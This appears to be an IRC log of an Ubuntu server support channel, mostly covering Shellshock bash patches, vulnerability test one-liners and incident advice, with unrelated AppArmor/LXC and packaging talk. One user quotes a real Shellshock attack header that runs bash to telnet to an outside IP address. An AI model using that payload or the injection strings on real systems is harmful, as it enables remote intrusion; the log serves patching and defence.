[01:03] <mdev> any word when a working shellshock patch will be released/
[01:04] <mdev> other distros apparently have a working one
[01:04] <sarnold> mdev: 12.04 LTS should be fine; 14.04 is under investigation now, no ETA
[01:05] <mdev> weird they'd fix ancient version first, but ok thanks
[01:05] <sarnold> mdev: to be honest we thought we fixed them all at the same time :/
[01:05] <ajmitch_> sarnold: fwiw, looking at the build log, bison wasn't being called to process parse.y for 4.3
[01:06] <sarnold> mdeslaur: ^^^
[01:06] <ajmitch_> probably didn't help that the build system changed a bit between versions
[01:06] <mdev> yeah I installed the first patch, still vulnerable to
[01:06] <mdev>  env -i  X='() { (a)=>\' bash -c 'echo date'; cat echo
[01:06] <mdev> creates file echo, so yeah
[02:10] <mdev> seems like new patch works
[02:10] <mdev> is this accurate?
[02:13] <mdeslaur> mdev: which one?
[02:13] <mdev> dpkg -s bash | grep Version
[02:13] <mdev> Version: 4.3-7ubuntu1.3
[02:14] <mdeslaur> yep, that should be the fixed version
[02:14] <mdev> http://askubuntu.com/a/528466
[02:14] <mdev> used security repo
[02:14] <mdev> great thanks
[02:14] <mdeslaur> I just pushed it out as a security update, the USN will be published in a couple of minutes
[02:19] <mdev> nice work mdeslaur
[02:19] <mdev> you helping ton of people/companies, seen guy in #bash earlier freaking out he was going to get fired because no working patch and he told his boss it was fixed
[02:19] <mdev> so now he should be good, pretty sure he used ubuntu
[02:20] <mdev> nevermind but still! thanks
[02:20] <mdeslaur> you're welcome :P
[03:04] <zzxc> Alright so I'm sure this is pop up all over the place. Is there a way to test for the shellshock bug?
[06:55] <lordievader> Good morning.
[07:01] <lkthomas> hey guys
[07:02] <lkthomas> can I use MAAS to provision workstation ?
[07:05] <sarnold> lkthomas: you may want to check in #maas for details; I have an idea that it'd be alright for workstations that you don't mind spending a few minutes to reclaim and provision each time..
[07:08] <lkthomas> sarnold: mind to move this topic to #maas ?
[07:32] <Nettoe> how do u test bash security with the new exploitation?
[07:33] <sarnold> nettoe: we've been using:  env -i X='() { (a)=>\' bash -c 'echo date'; cat echo ; rm echo
[07:34] <Nettoe> and should it show?
[07:34] <Nettoe> output?
[07:35] <sarnold> if it's still broken you'll get the date in a file named 'echo' -- if it is fixed, there won't be any date output and there won't be an 'echo' file
[07:36] <Nettoe> sarnold: I get "echo date: command not found"
[07:36] <sarnold> Nettoe: that's unexpected :)
[07:36] <sarnold> Nettoe: here's output after installing the fix: http://paste.ubuntu.com/8431074/
[07:37] <Nettoe> sarnold: or sorry, I got bash: X: line 1: syntax error near unexpected token `='
[07:53] <Nettoe> sarnold: when updating bash I get an error
[07:54] <Nettoe> sarnold: package is in a very bad inconsistent state
[07:54] <sarnold> Nettoe: can you pastebin the error?
[07:56] <Nettoe> sarnold: http://pastebin.com/HQWw44nr
[07:57] <Nettoe> sarnold: samething if I update from aptitude
[07:58] <sarnold> Nettoe: on a -guess- I think you've clouded up your environment variables with this testing
[07:59] <sarnold> Nettoe: try: sudo -i   -- then try the upgrade command in that shell
[08:01] <Nettoe> what I do is just apt-get --reinstall install bash
[08:02] <Nettoe> sarnold: what does sudo -i do?
[08:02] <sarnold> Nettoe: it clears the environment.
[08:02] <Nettoe> oh okei
[08:02] <Nettoe> thank you
[08:04] <Nettoe> sarnold: thanks alot man!
[08:04] <sarnold> Nettoe: fixed?
[08:04] <Nettoe> sarnold: I'm greatly in your dept forever
[08:04] <sarnold> sweet :) have fun
[08:04] <Nettoe> sarnold: yes, now the bash testing shows correct=)
[08:05] <sarnold> Nettoe: nice. now bed time. :)
[08:05] <Nettoe> sarnold: have a great night!=)
[08:05] <sarnold> :)
[08:24] <abhaykadam> doing 'aptitude install apache2' says you have unmet dependencies, and then it lists bunch on depending virtual pacakages, but system is unable to install it
[08:47] <Thumpxr> abhaykadam: try sudo apt-get -f install
[08:49] <abhaykadam> @Thumpxr, i tried it, but it didn't work
[08:51] <abhaykadam> i reinstalled the server, with lamp-server selected :)
[09:13] <ochoroch> Good morning ...
[09:14] <ochoroch> i have installed ubuntu 14.04 on Hyper-V. It worked, but the disk shows I/O errors after some days.
[09:15] <ochoroch> anyone have it running under Hyper-V?
[10:31] <radish_> hello everyone. I did patch for http://www.ubuntu.com/usn/usn-2363-1/ on about 100 systems, but on one my test still turns out vulnerable: X='() { function a a>\' bash -c echo; [ -e echo ] && echo "vulnerable"
[10:31] <radish_> can anyone confirm that after bash was patched, the command is still successfull?
[10:32] <rbasak> radish_: please confirm the package version of bash that you have on a system that still appears vulnerable.
[10:32] <rbasak> radish_: "dpkg-query -W bash"
[10:33] <radish_> rbasak: it's 4.2-2ubuntu2.3 which should be the patched version
[10:33] <rbasak> radish_: and is the shell you're testing in a new invocation of bash?
[10:33] <cfhowlett> rbasak, what *should* the bash version be?
[10:34] <radish_> rbasak: I did reboot the server to be really sure it's a new process
[10:34] <rbasak> cfhowlett: http://www.ubuntu.com/usn/usn-2363-2/
[10:34] <cfhowlett> rbasak, thanks
[10:34] <rbasak> Also http://www.ubuntu.com/usn/usn-2363-1/
[10:34] <radish_> rbasak: weirdly enough, it's the only server acting this way out of ~65 ones with ubuntu 12.04
[10:35] <radish_> rbasak: checked the md5sum as well, it's the same one as on other systems which don't execute the exploit
[10:36] <eNTi> hi. i got to ask, since its very difficult to get any definitv answer does bash 4.2ubuntu2.3 fix the bash vuln for good?
[10:36] <eNTi> maybe put in your topic, if it does? :D
[10:36] <rbasak> radish_: try md5sum (really you should be using sha256sum for security verification) on /proc/$$/exe
[10:37] <rbasak> eNTi: the latest security update versions listed in https://launchpad.net/ubuntu/+source/bash are current.
[10:37] <rbasak> (4.3-9ubuntu3  for Utopic)
[10:37] <radish_> rbasak: did compare sha256 sum as well
[10:38] <rbasak> radish_: specifically use /proc/$$/exe though, to ensure /bin/bash and not /usr/bin or /usr/local/bin or soemthin
[10:38] <TJ-> eNTi: The updates are in the topic... of #ubuntu-hardened, the security channel
[10:38] <eNTi> rbasak, TJ- thx.
[10:47] <abhishek> how can iincrease space of /opt directory
[10:48] <catphish> abhishek: is it a separate partition, lvm?
[10:48] <SthNotTaken> "() { :;}; /bin/bash -c \"telnet 197.242.148.29 9999\"" <---This is a header I was passed. My server's response was larger than it should be (156k vs. a normal 39k). What do I do now?
[10:49] <soren> SthNotTaken: You've heard of the bash vulnerability, right?
[10:49] <catphish> SthNotTaken: why are you running " /bin/bash -c \"telnet 197.242.148.29 9999\"
[10:49] <SthNotTaken> I've just patched for it. But this happened beforehand.
[10:50] <SthNotTaken> I didnt know I was.
[10:50] <abhishek> it is not separate partition
[10:50] <abhishek> niether lvm
[10:50] <catphish> abhishek: then you just need a bigger hard disk (obviously)
[10:50] <radish_> rbasak: exe points to /bin/bash
[10:51] <abhishek> actually Ican't mount storage to this server
[10:51] <catphish> SthNotTaken: oh, someone else ran that against your server? probably best to double check you're patched, run some tests
[10:51] <SthNotTaken> I already did patch and run tests.
[10:51] <SthNotTaken> How do I find out what happened?
[10:52] <abhishek> sry I have ample space in my SAN I can mount storage to thisserver
[10:52] <abhishek> sry catphish!
[10:52] <soren> SthNotTaken: You probably don't. Assume the worst.
[10:52] <SthNotTaken> I'll try HTOP
[10:55] <radish_> rbasak: will try an upgrade to 14.04 and see if the problem still persists, will report back
[11:09] <TJ-> SthNotTaken: As I said in #ubuntu: SthNotTaken: Isolate it, then check logs carefully for indications of what the reverse telnet session was used for.
[11:10] <SthNotTaken> I'm checking netstat -tupan
[11:10] <TJ-> SthNotTaken: "/var/log/auth.log" should show if the attacker tried to run elevated command privileges
[11:11] <TJ-> SthNotTaken: Is telnet client installed on the sever?
[11:11] <TJ-> s/sver/server/ ?
[11:11] <SthNotTaken> ... I wouldn't know how to check.
[11:11] <SthNotTaken> 14.04LTS default
[11:12] <TJ-> SthNotTaken: "which telnet", "dpkg -S bin/telnet",  "apt-cache policy telnet"
[11:13] <TJ-> SthNotTaken: I don't think the 'telnet' client package is installed by default for the ubuntu-server task; it'd be a sysadmin choice to do so
[11:14] <SthNotTaken> auth.log is 16mb in 5 days :(
[11:15] <SthNotTaken> auth.log.1 is 18MB... last used 9/21/2014. auth.log is 16mb last changed 9/26/2014
[11:15] <TJ-> SthNotTaken: "tasksel --task-packages server | grep telnet" => "" - so not installed by default
[11:16] <SthNotTaken> nothing... but did I just install telnet?
[11:16] <TJ-> SthNotTaken: I gave you the commands to check that
[11:16] <SthNotTaken> I don't know which ones do what
[11:16] <SthNotTaken> I'm not sure what I'm looking for.
[11:16] <SthNotTaken> Can someone else help me?
[11:18] <SthNotTaken>  nano /usr/bin/telnet.netkit returns a bunch of lines despite: -bash: cd: /usr/bin/telnet: Not a directory
[12:48] <radish_> is there any clean method to remove desktop (gnome) and/or GUI related packages (xorg etc.) from a server? According to tasksel, no meta-package was used for installation of these so I'm not sure about how to catch all of them to remove.
[12:52] <MadsRC> You could delete every package manually - That that sounds tedious
[12:52] <patdk-wk> hmm? doesn't removing ubuntu-desktop get most of it?
[12:53] <patdk-wk> been a long time since I have bothered to do that
[12:53] <MadsRC> It does remove a bunch, but not all if I remember correctly
[12:53] <radish_> ubuntu-desktop isn't installed
[12:53] <radish_> otherwise it wouldn't be an easy task
[12:53] <MadsRC> unity-desktop? gnome-desktop ?
[12:53] <MadsRC> *-desktop
[12:53] <patdk-wk> apt-get remove .*desktop
[12:54] <MadsRC> purge it instead
[12:54] <patdk-wk> depends
[12:54] <cfhowlett> !pureubuntu
[12:55] <TJ-> radish_: pick one of the low-level X server libraries that everything else depends on, then remove it ... everything depending on it will be removed too :)
[12:55] <patdk-wk> install http://i.imgur.com/BPGsKbc.jpg :)
[14:13] <hallyn> stgraber: jdstrand needs a new lxc in utopic to accomodate a Breaks in apparmor package.  I can push an lxc with just the apparmor changes he wanted - you're not ready to push the new lxc yet right?
[14:14]  * jdstrand can also back out the Breaks, but that would require another upload to add it back in later
[14:16] <stgraber> hallyn: I'm not completely ready, currently my best guess is Monday and that's assuming I can get a FFe, so I'd say go ahead
[14:23] <zul> hallyn:  new lxc as in ovs support?
[14:25] <gidogeek> Hi, I'm having some trouble setting up postfix on one of my servers, I have (near) identical configuration between 2 servers, 1 works, other doesn't. THe one that works is Ubuntu 14.04 with Postfix 2.11 and the one that doesn't work is Ubuntu 12 with postfix 2.9.6. I can send e-mails but I can't receive them. The only difference in configuration is the domain
[14:26] <gidogeek> http://mxtoolbox.com reports correct DNS setting but can't connect to SMTP on the Ubuntu 12 one, but can connect on the 14.04 one
[14:26] <gidogeek> which leads me to suspect a firewall issue, I can however telnet to it on port 25
[14:26] <gidogeek> any other suggestions for debugging ?
[14:27] <hallyn> zul: yes it should have that
[14:27] <zul> hallyn:  oh goody
[14:28] <hallyn> jdstrand: ok, so I needed a Depends in lxc bc it needs the newer apparmor it breaks without it.  I guess we should have stuck with that :)  I'm still waiting for stgraber's ack on the second apparmor patch upstream.
[14:29] <hallyn> technically the Breaks you put in wasn't equivalent I guess :)
[14:30] <jdstrand> hallyn: you shouldn't need that I don't think
[14:30] <jdstrand> hallyn: lxc never had a Depends on apparmor
[14:31] <hallyn> hm, true
[14:31] <hallyn> ok, i'll push in a few mins
[14:31] <jdstrand> hallyn: you are probably seeing this issue because the apparmor that introduced the breaks isn't in the archive for download
[14:32] <hallyn> jdstrand: seeing what?
[14:32] <jdstrand> hallyn: the breaks make it so that apparmor will be updated prior to lxc if they are updated at the same time
[14:32] <jdstrand> hallyn: I assume you saw an issue since you felt compelled to add the Depends
[14:34] <hallyn> jdstrand: I didn't add a depends.  It was just how I was thinking the problem would've been fixed.  but anyway,
[14:34] <hallyn> waht's the bug# again for this stuff?
[14:34] <jdstrand> if not, just leaving the Depends in lxc as is should be fine (we do the same thing with lightdm, which also doesn't have a Depends on apparmor and it has unix rules)
[14:34] <hallyn> I'm not adding a depends to lxc
[14:34] <jdstrand> ok cool
[14:35] <jdstrand> bug #1373555
[14:35] <hallyn> thanks
[14:39] <jdstrand> thank you! :)
[14:39] <jdstrand> hallyn: can you ping me when you upload it?
[14:41] <hallyn> sure
[14:41] <hallyn> just running some new tests
[14:42] <jdstrand> cool
[14:42] <hallyn> jdstrand: hm, i dunno.  does lxc also needs a Breaks on the earlier apparmor?
[14:43] <hallyn> I don't see how the apparmor Breaks on older lxc can force apparmor to be updated first, if user has an older apparmor
[14:47] <stgraber> oh, not that again, we already had that discussion with the past two apparmor changes
[14:48] <stgraber> you need to bump LXC's dependency on the new apparmor to ensure that when it's installed, the new stanzas are supported and the parser doesn't fail. And you need to have apparmor break lxc to ensure people don't update apparmor without lxc
[14:48] <stgraber> hallyn: there's a versioned dependency against apparmor in LXC, but it's a generated one, you won't find it in debian/control but in debian/rules instead
[14:48] <stgraber> it has logical for per-release minimal version
[14:48] <stgraber> *logic
[14:49] <stgraber> hallyn: I also replied to the second patch with a bunch more questions
[14:57] <kyle__> Does the ubuntu installer support the partman/early_command?  I'm not having much luck with it.
[14:58] <hallyn> who had that discussoin with the past two apparmor changes?  I think i sat those out
[14:59] <hallyn> jdstrand: are you on the lxc-devel m-l by chance?  I don't want to put words into your mouth.
[14:59] <hallyn> stgraber: the mysqld socket concern again seems unfounded, so long as it' sa named unix socket
[15:00] <hallyn> as for ""what it buys is" I'd prefer jdstrand elaborate.
[15:00] <hallyn> s/is/us/
[15:10] <jdstrand> hallyn: I am not, but I put that in the bug: "Obviously, namespaces are intended to block these accesses in and of themselves, but this add an incremental improvement and security in depth in case something goes wrong there"
[15:10] <jdstrand> grammatical error aside...
[15:13] <stgraber> yeah, my worry here is that this is just a safety net for the case where the kernel has already gone massively wrong and that safety net appears to cause breakage for advanced use cases which may lead to people opting to either turn off apparmor for the container or for their own tool, which in either case is much worse than status quo
[15:14]  * stgraber writes down a bunch of scenarios that appear to be made impossible by those extra (and mostly unneeded) restrictions
[15:14] <jdstrand> what advanced use cases are broken?
[15:15] <jdstrand> also, do these advanced use cases require adjusting the existing policy already?
[15:15] <stgraber> well, for one, if I'm reading parsing the new policy properly, you're breaking my CI environment. I've got C programs using the LXC API which run under their own apparmor profile (so not unconfined) and then send signals and attach to the network namespace of existing containers.
[15:16] <jdstrand> finally, you have alternate profiles for lxc-default-with-mounting and lxc-default-with-nesting, could add an additional profile for these advanced use cases
[15:17] <stgraber> the signal change will block the former since the peer profile won't be unconfined and won't be lxc-start and the unix change will prevent me from setns + bind to an abstract socket if the process doing that is running under apparmor
[15:17] <jdstrand> sure
[15:17] <stgraber> so to me, this seems like we're pushing the user towards not running their management tools under apparmor
[15:17] <jdstrand> so, we can have an additional profile for that
[15:18] <jdstrand> to me, the management tools under apparmor are for less interesting than the conainer under apparmor
[15:18] <jdstrand> but, that should certainly be supported
[15:19] <jdstrand> (and it is, with either policy updates or adding an additional template)
[15:19] <jdstrand> s/template/profile/
[15:19] <stgraber> so the problem of the extra profile is that all existing containers will break on upgrade
[15:19] <stgraber> what's the exact concern with allowing all incoming signals and all incoming unix socket connections?
[15:20] <stgraber> we usually try to protect the host from the container, not the other way around
[15:20] <jdstrand> it isn't a concern per se, it is security in depth
[15:21] <jdstrand> today, it isn't going to do much because all containers run under the same profile name
[15:21] <jdstrand> but, we should support running each container under its own profile, like how libvirt-lxc does it
[15:22] <jdstrand> when that happens, one container will not be able to send signals to another container
[15:22] <jdstrand> (of course, that already is happening with namespaces, but this is the security in depth I was talking about)
[15:23] <jdstrand> stgraber: so, for today, we could adjust the signal rule to be: 'signal (receive),
[15:23] <jdstrand> '
[15:24] <stgraber> jdstrand: ok, so I'll nack the current patch and comment that I'll ack it if we make it "signal (receive)," and "unix (receive),". That'll address my concerns for now.
[15:25] <jdstrand> stgraber: sure. that will limit 'send', which I think is quite worthwhile
[15:26] <jdstrand> stgraber: also, if lxc does ever support per container profiles, maybe that is when we can introduce an additional profile template-- and it would have the more strict receive rule
[15:26] <stgraber> jdstrand: so do those apply to the actual send() and recv() calls or does that only apply to bind()? because if the former, that makes the whole thing a bit pointless and then we'd have to allow both :)
[15:27] <jdstrand> stgraber: unix rules have a whole slew of options include send, receive and bind
[15:28] <jdstrand> (ie, the LSM hooks in all over the place)
[15:28] <jdstrand> hallyn: let me get you a new debdiff in the bug
[15:30] <stgraber> jdstrand: ok, so to confirm "unix (receive)," means that an outside process will be allowed to connect to any unix socket which the target (running the apparmor profile) has bound and then be able to have a regular bi-directional communication over it, but the processes running under the apparmor profile will not be able to bind to a socket which isn't running under that same profile, correct?
[15:31] <hallyn> sigh, new debdiff?  guess i have to read the backlog
[15:31] <hallyn> jdstrand: fwiw I was working with http://paste.ubuntu.com/8433668/
[15:31] <hallyn> (which has the one additional rule on top of yours)
[15:32] <stgraber> jdstrand: also, I hope that going forward once we get profile stacking and use apparmor namespaces, we can come up with more clever ways to protect the host based on the stack of namespaces (you can do whatever you want to your any child namespace but can't do anything to your parent kind of thing).
[15:32] <jdstrand> stgraber: we'll see what that brings. profile stacking is very high on the todo list now
[15:33] <stgraber> jdstrand: something like that would be far more generic and would actually align properly with what we want + it shouldn't matter then whether we run with the same profile for everything or if we have per-container profiles since we'd have per-container namespaces anyway
[15:33] <jdstrand> I'm also thinking about container isolation in addition to host protection (if that wasn't clear)
[15:33] <stgraber> I realize it'll still be a while before we can do that kind of advanced stuff (getting stacking to work at all is the main goal for now), but I've got hope that we can come up with a solution I'm actually fine with in $FUTURE
[15:34] <hallyn> may i suggest that (a) apparmor is a different model than selinux and (b) the apparmor camp used to espouse its advantages;  this path feels like pursuing selinux away from the apparmor model (regardless of how i feel about eithe rmodel)
[15:34] <jdstrand> profile composition is part of the stacking work
[15:34] <hallyn> but anyway, i digress
[15:34] <jdstrand> and it offers a number of interesting options, indeed
[15:36] <jdstrand> hallyn: I don't quite follow your digression. there is more to life than just paths and we are still doing dynamic labelling
[15:36] <jdstrand> :)
[15:37] <jdstrand> we are not pursuing the selinux model. I'm sure if you had a drink with jj he'd be happy to discuss how we are different at great length :)
[15:37] <jdstrand> but, LSMs being what they are, we need to work together with where the hooks live
[15:39] <jdstrand> maybe it is that every process has its labelling in selinux and that I'd like containers to each have their own apparmor labelling that is the root of this
[15:40] <hallyn> no it's the fact that apparmor around 2005 talked about the advantage of just protecting the host from untrusted network daemons, while selinux wanted everything confined
[15:40] <jdstrand> heh
[15:40] <jdstrand> well, this is 2014. things have changed
[15:40] <jdstrand> :)
[15:40] <jdstrand> we want to have a strong sandbox for untrusted code (appstore apps)
[15:41] <hallyn> stgraber: your jenkins environment with the confined helper not being able to signal into a container is a real problem.  let's focus o nthat one
[15:41] <jdstrand> and if we can't mediate access to the upstart abstract socket or those apps sending other apps signals, we kinda lost
[15:41] <stgraber> hallyn: what we discussed with jdstrand will solve that, just waiting for the new debdiff
[15:41] <hallyn> jdstrand: we have that, user namespaces :)  they are *the* way to finally, safely deal with setuid-root
[15:41] <hallyn> oh.  i read backlog, but missed tha tsomehow
[15:41] <hallyn> sounds good
[15:42] <hallyn> lxc-test-unpriv passes with my debdiff, so as fara s i'm concerned long as it's based on mine you guys can push
[15:42] <jdstrand> hallyn: I don't want to get into a containers vs apparmor thing here. there is overlap, there are applications for both and they can work together
[15:43] <hallyn> jdstrand: aluto and i were actually talking about the dac.vs.mac thing in chicago...  it's deeper than one might hope
[15:43] <stgraber> jdstrand: oh, another question about that patch which I asked on the ML earlier. Exactly what are we blocking wrt ptrace? The profile contains a whitelist so it's kinda hard to know what's meant to be blocked :)
[15:43] <hallyn> we like to say dac and mac are orthogonal, but dac may not be able to subvert the mac in some cases
[15:44] <hallyn> stgraber: yeah perhaps the container-base should have a commented list.  i'm not sure pointing at a wiki suffices here
[15:44] <jdstrand> stgraber: the container can't trace other processes that run under a different label than @{profile_name}
[15:48] <stgraber> jdstrand: ok, if that's the only thing which gets blocked, that's perfectly reasonable
[15:48] <hallyn> jdstrand: so to be clear, you're taking the debdiff i posted above as your base?
[15:50] <jdstrand> stgraber: actually, we also disable ptrace 'read' to outside the container
[15:51] <stgraber> jdstrand: that's fine too
[15:52] <jdstrand> hallyn: I am working off my portion of that. I was thinking I'd wrap all the apparmor stuff into a single debdiff so it could be uploaded alone and the new lxc release could come after
[15:52] <jdstrand> hallyn: I could do something else, or you could take my debdiff and incorporate it
[15:53] <hallyn> jdstrand: my debdiff just adds the one needed signal rule and fixes debian/rules to set the right apparmor version dep
[15:53] <jdstrand> it also modifies the upstart job
[15:54] <jdstrand> jobs*
[15:54] <hallyn> my debdiff?
[15:54] <jdstrand> look at the paste you gave me :)
[15:55] <hallyn> oh.  oops.  that's bc i made the debidff after doing a debian/rules build
[15:55] <hallyn> ok fine i'll just tweak yours when you're done
[16:00] <TJ-> Is Canonical, Ubuntu, or Amazon responsible for updating Ubuntu AMI images that have the affected bash versions?
[16:02] <mdeslaur> TJ-: utlemming is who you're looking for
[16:03] <TJ-> mdeslaur: Thanks; a user just asked in #ubuntu but I wasn't clear who is responsible - so it is an Ubuntu responsibility?
[16:03] <mdeslaur> TJ-: yes, canonical takes care of it, utlemming can give you the details when he gets here
[16:04] <TJ-> thresh: mdeslaur has the answer
[16:04] <thresh> yep, thank you.
[16:04] <rcj> TJ-, Ubuntu updates those images.  We've have updated images for USN-2362-1/CVE-2014-6271 and are in the process of qualifying our images for CVE-2014-7169.  The archive mirrors have those package updates already of course.
[16:05] <TJ-> thresh has a complete answer now :)
[16:06] <thresh> yeah I guess it takes time for the images validation.
[16:07] <thresh> thanks guys, appreciate it - amazon gave me time until monday to update my marketplace amis, so willing to do that sooner than later.
[16:16] <jamespage> zul, coreycb: are either of you guys looking at updating the oslo.* packages to the upstream release versions?
[16:17] <coreycb> jamespage, it's not on my list atm but I could add it
[16:21] <jamespage> zul, gah upstream went 1.4.0.0a5 -> 1.4.0
[16:27] <zul> jamespage:  i was going to
[16:27] <jamespage> zul, what happened?
[16:27] <zul> jamespage:  i updated most of them except for oslo.messaging
[16:28] <zul> jamespage:  ill double check
[16:28] <jamespage> zul, please do - I see most out-of-date compared to the upstream juno release that doug did
[16:28] <jamespage> zul, I'm looking at messaging now
[16:28] <zul> jamespage:  ack
[16:31] <jamespage> zul, messaging 1.4.1 uploaded, looking at config now
[16:31] <zul> jamespage:  oslo.18n is in proposed
[16:34] <jamespage> zul, that and db are stuck on a keystone regression - still at b2?
[16:34] <jamespage> wtf
[16:34] <zul> yeah
[16:36] <zul> jamespage:  leave it with me go enoy your weekend
[16:36] <jamespage> zul, OK - I'll do the config I have in flight and leave the rest to you
[18:52] <Phibs> is bash actually fixed yet ?
[18:53] <Phibs> env ls='() { echo vulnerable; }' bash -c ls
[18:57] <Phibs> seems not
[18:57] <Phibs> http://www.ubuntu.com/usn/usn-2363-2/
[18:57] <Phibs> says      bash 4.3-7ubuntu1.3  is fixed
[18:57] <Phibs> but it is not
[18:59] <sarnold> Phibs: that's an intentional feature of bash.
[18:59] <jrwren> fixed for me.
[18:59] <Phibs> bullshit
[18:59] <Phibs> lol
[19:00] <streulma> hello, amavis keeps crashing, and killed by SIGHUP
[19:09] <Thorn> hello
[19:09] <SCHAAP137> good afternoon
[19:09] <Thorn> I have an 11.04 server that I need to patch for shellshock, but I can't even install build-essential, seems like repos are down
[19:10] <rww> !11.04
[19:10] <rww> !eolupgrade
[19:10] <sarnold> Thorn: 11.04 hasn't had security updates for nearly two years
[19:10] <rww> probably best if you stick to LTS releases from now on
[19:10] <Thorn> this is a web host vps and I probably can't upgrade it without purchasing a new vps
[19:11] <rww> okay. it still hasn't been supported for two years.
[19:11] <Thorn> and I'm pretty sure they didn't offer any LTS at that time... (that's not linode)
[19:11] <sarnold> since 11.04's replacement has also been EOLed for a long time, upgrading that machine might take some real effort. buying a second vps for a day or two might be the cheapest and fastest way out of this.
[19:12] <henkjan> shellshock may be the least of your problems on a 11.04 vm
[19:14] <Thorn> ok thanks
[19:14] <sarnold> good luck Thorn :)
[19:25] <patdk-wk> isn't that vaunerable to heartbleed too?
[19:25] <patdk-wk> or was it still using 0.98
[20:16] <The_Tick> if I have a 10.10 box, what's the upgrade path to current? (14.04.1)?
[20:17] <rww> 10.10 -> 11.04 -> 11.10 -> 12.04 -> 14.04.1
[20:17] <The_Tick> no direct jump then? alright
[20:17] <rww> i'd recommend a backup and reinstall, to be honest
[20:17] <The_Tick> I'm really considering it
[20:18] <The_Tick> do-release-upgrade is complaining about natty.tar.gz.gpg missing
[20:18] <The_Tick> but I haven't checked the sources list yet
[20:19] <rww> !eolupgrade
[20:19] <The_Tick> thanks
[20:21] <The_Tick> oof ya this is on reiser
[20:21] <The_Tick> time to contact the hosting company, whee
[20:21] <The_Tick> thanks rww
[22:12] <SthNotTaken> Is there a simple way to install JFreeChart which has Java Dependencies?
[23:38] <Seannie> is this the channel i can ask about the bash exploit?
[23:38] <sarnold> Seannie: sure, here or #ubuntu-hardened
[23:39] <Seannie> did i read things wrong but the exploit affects as far back as 10.04?
[23:40] <Seannie> is this just some smokescreen that allows the FBIs prism into what was once supposed to be a secure crowddriven o/s?
[23:40] <sarnold> Seannie: probably all versions of ubuntu ever released; the bug was introduced roughly in 1996 or so.
[23:40] <sarnold> Seannie: but 10.04 LTS is the oldest currently supported ubuntu, so that's as far back as we've prepared updates
[23:40] <Seannie> ah
[23:40] <Seannie> is this a canonical employee's lounge? hehe
[23:41] <sarnold> it's a good mix of people here, some employees some not :)
[23:42] <Seannie> so the bug was just a part of the way bash worked until it was discovered to allow root or other backdoor access, which was only just recently reported yesterday correct?
[23:42] <Seannie> reported AND discovered?
[23:43] <Seannie> or it always behaved that way, but now its a problem due to... something something something?
[23:43] <sarnold> well, the flaw doesn't itself allow root exploits; how bash was used in many network-facing daemons is what really allowed things to get out of hand
[23:45] <sarnold> as I understand the flaw, it was discovered and reported roughly one week ago; over the weekend some patches were prepared and tested, wider annoucements were made to software vendors monday and tuesday with the intent of releasing the patches wednesday.
[23:45] <sarnold> once the patches were out in wider audiences on wednesday, that's when taviso found the fix developed over the weekend was insufficient
[23:45] <sarnold> there was discussion during the weekend about changing bash's behaviour but everyone agreed that discussion needed to happen in public since it might mean breaking existing software
[23:46] <Seannie> the suggestion the flaw is similar to heartbleed... spin for the microserf crowd?
[23:47] <sarnold> nothing at all like heartbleed except that it can potentially affect a great many people in a highly visible way
[23:47] <sarnold> heartbleed allowed people to look at random tiny pieces of server or client memory, and sometimes interesting things are stored there
[23:48] <sarnold> these bash bugs allow executing nearly arbitrary code through a variety of services that were previously thought to be safe
[23:48] <Seannie> such as, say, perhaps the freenode servers which detected unusual binaries?
[23:48] <sarnold> .. but not everyone has those services configured in a way that would use bash
[23:48] <sarnold> it's highly unlikely this bug was used for freenode compromise
[23:51] <Seannie> is there evidence in the wild this exploit was taken advantage of?
[23:52] <sarnold> as far as I know, no evidence at all from before wednesday; after wednesday, absolutely tons. it's relatively easy to work with this one, so the barrier to entry is very low. within hours people were seeing coordinated scanning evidence in their webserver logs.
[23:53] <Seannie> business as usual since 14.04 was just out, and there are many updates frequently which I expect wont settle down for some time to come, yet this exploit for bash trended on my very non computer oriented facebook news feed, which i thought odd - is the increased reporting due to the ease of the exploit or the seriousness of what it could affect? Or is the reporting more a sign that Linux is growing more prevalent?
[23:54] <sarnold> I suspect large ease of exploitation and seriousness
[23:56] <Seannie> which the current patch partially addresses
[23:57] <sarnold> the two patches we've currently integrated address the most pressing aspects of the fault; there are other outstanding issues that we'll patch early next week, and I hope there's some wider discussion about turning off this aspect of the bash parser entirely unless requested, similar to the patches prepared by netbsd: http://www.openwall.com/lists/oss-security/2014/09/26/22
[23:57] <Seannie> does the bash exploit affect desktop home users?
[23:58] <sarnold> it could, bash is used e.g. in the dhcpcd scripts, so a malicious dhcp server could cause trouble
[23:59] <Seannie> hrm. my isp uses dhcp only
[23:59] <Seannie> or no
[23:59] <Seannie> i have it backwards
[23:59] <sarnold> a home user is more likely to install a tool such as webmin or cpanel or other horrible web front-ends that provide many many opportunities for potential exploitation